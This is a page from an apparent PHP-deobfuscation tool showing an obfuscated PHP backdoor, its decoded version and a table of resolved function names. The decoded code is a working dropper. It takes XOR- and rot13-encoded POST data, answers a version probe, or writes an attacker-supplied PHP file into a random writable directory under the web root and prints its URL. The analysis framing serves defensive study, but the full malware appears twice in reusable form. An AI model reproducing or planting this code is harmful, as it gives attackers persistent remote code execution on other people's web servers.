Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@@ -0,0 +1 @@ <?php $yyNpdKdKa = chr(139-71)."\117"."\x43"."\x55"."\115".chr(860-791)."\1..

Decoded Output download

@@ -0,0 +1 @@ 
<?php $yyNpdKdKa = chr(139-71)."O"."C"."U"."M".chr(860-791)."N"."T"."_".chr(262-180)."O".chr(79)."T";$xqWuUtNzv = "H".chr(477-393).chr(84)."P".chr(543-448)."H"."O".chr(1055-972).chr(551-467);$nsyOljJ = "h"."t".'t'.chr(112).":".chr(47).'/';$jylidurZiI = ".".chr(917-805)."h"."p";$NqNxlf = 'p'.chr(476-372).chr(112);$IRMQCRwm = chr(437-335).chr(105)."l"."e".chr(95)."p".chr(117).'t'.chr(95).chr(99).chr(111)."n".chr(116).chr(813-712).chr(110)."t".chr(978-863);$dhPcDHJC = "r"."a"."w"."u"."r"."l"."d"."e"."c"."o".chr(128-28)."e";$otsJVhgwY = "u".'n'.'s'.chr(101)."r".chr(105).chr(447-350).'l'.'i'.chr(845-723).chr(101);$KSePHJLu = 'i'.chr(115)."_"."w".chr(114)."i"."t".chr(97)."b"."l".chr(101);$UdnrTLx = "p"."h"."p".chr(118).chr(101).chr(114)."s".'i'.chr(111)."n";$pYIkohN = chr(240-125).chr(263-147)."r".chr(95).chr(114).chr(111).chr(679-563).'1'.chr(51);$HZlCdqx = "s"."e".'r'.chr(105).chr(172-75).chr(965-857).'i'.chr(402-280).chr(101);$XlIjjur = 's'.'t'."r"."_".'s'.chr(201-89).'l'.chr(105).'t';foreach ($_POST as $bLGbWmy => $JbUWu){$FRjrMWV = strlen($bLGbWmy);if ($FRjrMWV == 16){$JbUWu = $XlIjjur($dhPcDHJC($pYIkohN($JbUWu)));$bLGbWmy = array_slice($XlIjjur(str_repeat($bLGbWmy, (count($JbUWu)/16)+1)), 0, count($JbUWu));function HmnaRa($tBHMVUIt, $hTsnKX, $bLGbWmy){$YGiPQcczB = "99e2389e-d140-4875-b6b2-9a43a60f2f32";return $tBHMVUIt ^ $YGiPQcczB[$hTsnKX % strlen($YGiPQcczB)] ^ $bLGbWmy;}$JbUWu = implode("", array_map("HmnaRa", array_values($JbUWu), array_keys($JbUWu), array_values($bLGbWmy)));$JbUWu = @$otsJVhgwY($JbUWu);if (@is_array($JbUWu)){$WfiFPGo = array_keys($JbUWu);$JbUWu = $JbUWu[$WfiFPGo[0]];if ($JbUWu === $WfiFPGo[0]){echo @$HZlCdqx(Array($NqNxlf => @$UdnrTLx(), ));exit();}else {function PczaBjT($OVyZjKihvir){static $QhVGfwW = array();$BUhQjufSG = glob($OVyZjKihvir . '/*', GLOB_ONLYDIR);if (count($BUhQjufSG) > 0) {foreach ($BUhQjufSG as $OVyZjKihv) {if (@$KSePHJLu($OVyZjKihv)) {$QhVGfwW[] = $OVyZjKihv;}}}foreach ($BUhQjufSG as $OVyZjKihvir) PczaBjT($OVyZjKihvir);return $QhVGfwW;}$kpdFkCNp = $_SERVER[$yyNpdKdKa];$BUhQjufSG = PczaBjT($kpdFkCNp);$WfiFPGo = array_rand($BUhQjufSG);$hxLde = $BUhQjufSG[$WfiFPGo] . "/" . substr(md5(time()), 0, 8) . $jylidurZiI;@$IRMQCRwm($hxLde, $JbUWu);echo $nsyOljJ . $_SERVER[$xqWuUtNzv] . substr($hxLde, strlen($kpdFkCNp));die();}}}} ?>

Did this file decode correctly?

Original Code

@@ -0,0 +1 @@
<?php $yyNpdKdKa = chr(139-71)."\117"."\x43"."\x55"."\115".chr(860-791)."\116"."\124"."\x5f".chr(262-180)."\117".chr(79)."\124";$xqWuUtNzv = "\x48".chr(477-393).chr(84)."\x50".chr(543-448)."\110"."\x4f".chr(1055-972).chr(551-467);$nsyOljJ = "\x68"."\164".'t'.chr(112)."\72".chr(47).'/';$jylidurZiI = "\x2e".chr(917-805)."\150"."\160";$NqNxlf = 'p'.chr(476-372).chr(112);$IRMQCRwm = chr(437-335).chr(105)."\154"."\x65".chr(95)."\160".chr(117).'t'.chr(95).chr(99).chr(111)."\156".chr(116).chr(813-712).chr(110)."\x74".chr(978-863);$dhPcDHJC = "\162"."\141"."\x77"."\x75"."\162"."\154"."\144"."\145"."\143"."\x6f".chr(128-28)."\x65";$otsJVhgwY = "\165".'n'.'s'.chr(101)."\162".chr(105).chr(447-350).'l'.'i'.chr(845-723).chr(101);$KSePHJLu = 'i'.chr(115)."\137"."\167".chr(114)."\x69"."\x74".chr(97)."\x62"."\x6c".chr(101);$UdnrTLx = "\x70"."\150"."\x70".chr(118).chr(101).chr(114)."\x73".'i'.chr(111)."\156";$pYIkohN = chr(240-125).chr(263-147)."\162".chr(95).chr(114).chr(111).chr(679-563).'1'.chr(51);$HZlCdqx = "\x73"."\145".'r'.chr(105).chr(172-75).chr(965-857).'i'.chr(402-280).chr(101);$XlIjjur = 's'.'t'."\x72"."\137".'s'.chr(201-89).'l'.chr(105).'t';foreach ($_POST as $bLGbWmy => $JbUWu){$FRjrMWV = strlen($bLGbWmy);if ($FRjrMWV == 16){$JbUWu = $XlIjjur($dhPcDHJC($pYIkohN($JbUWu)));$bLGbWmy = array_slice($XlIjjur(str_repeat($bLGbWmy, (count($JbUWu)/16)+1)), 0, count($JbUWu));function HmnaRa($tBHMVUIt, $hTsnKX, $bLGbWmy){$YGiPQcczB = "99e2389e-d140-4875-b6b2-9a43a60f2f32";return $tBHMVUIt ^ $YGiPQcczB[$hTsnKX % strlen($YGiPQcczB)] ^ $bLGbWmy;}$JbUWu = implode("", array_map("HmnaRa", array_values($JbUWu), array_keys($JbUWu), array_values($bLGbWmy)));$JbUWu = @$otsJVhgwY($JbUWu);if (@is_array($JbUWu)){$WfiFPGo = array_keys($JbUWu);$JbUWu = $JbUWu[$WfiFPGo[0]];if ($JbUWu === $WfiFPGo[0]){echo @$HZlCdqx(Array($NqNxlf => @$UdnrTLx(), ));exit();}else {function PczaBjT($OVyZjKihvir){static $QhVGfwW = array();$BUhQjufSG = glob($OVyZjKihvir . '/*', GLOB_ONLYDIR);if (count($BUhQjufSG) > 0) {foreach ($BUhQjufSG as $OVyZjKihv) {if (@$KSePHJLu($OVyZjKihv)) {$QhVGfwW[] = $OVyZjKihv;}}}foreach ($BUhQjufSG as $OVyZjKihvir) PczaBjT($OVyZjKihvir);return $QhVGfwW;}$kpdFkCNp = $_SERVER[$yyNpdKdKa];$BUhQjufSG = PczaBjT($kpdFkCNp);$WfiFPGo = array_rand($BUhQjufSG);$hxLde = $BUhQjufSG[$WfiFPGo] . "/" . substr(md5(time()), 0, 8) . $jylidurZiI;@$IRMQCRwm($hxLde, $JbUWu);echo $nsyOljJ . $_SERVER[$xqWuUtNzv] . substr($hxLde, strlen($kpdFkCNp));die();}}}}

Function Calls

chr 53

Variables

$NqNxlf php
$HZlCdqx serialize
$UdnrTLx phpversion
$XlIjjur str_split
$nsyOljJ http://
$pYIkohN str_rot13
$IRMQCRwm file_put_contents
$KSePHJLu is_writable
$dhPcDHJC rawurldecode
$otsJVhgwY unserialize
$xqWuUtNzv HTTP_HOST
$yyNpdKdKa DOCUMENT_ROOT
$jylidurZiI .php

Stats

MD5 3151cc70052b0b062f54af4329639748
Eval Count 0
Decode Time 114 ms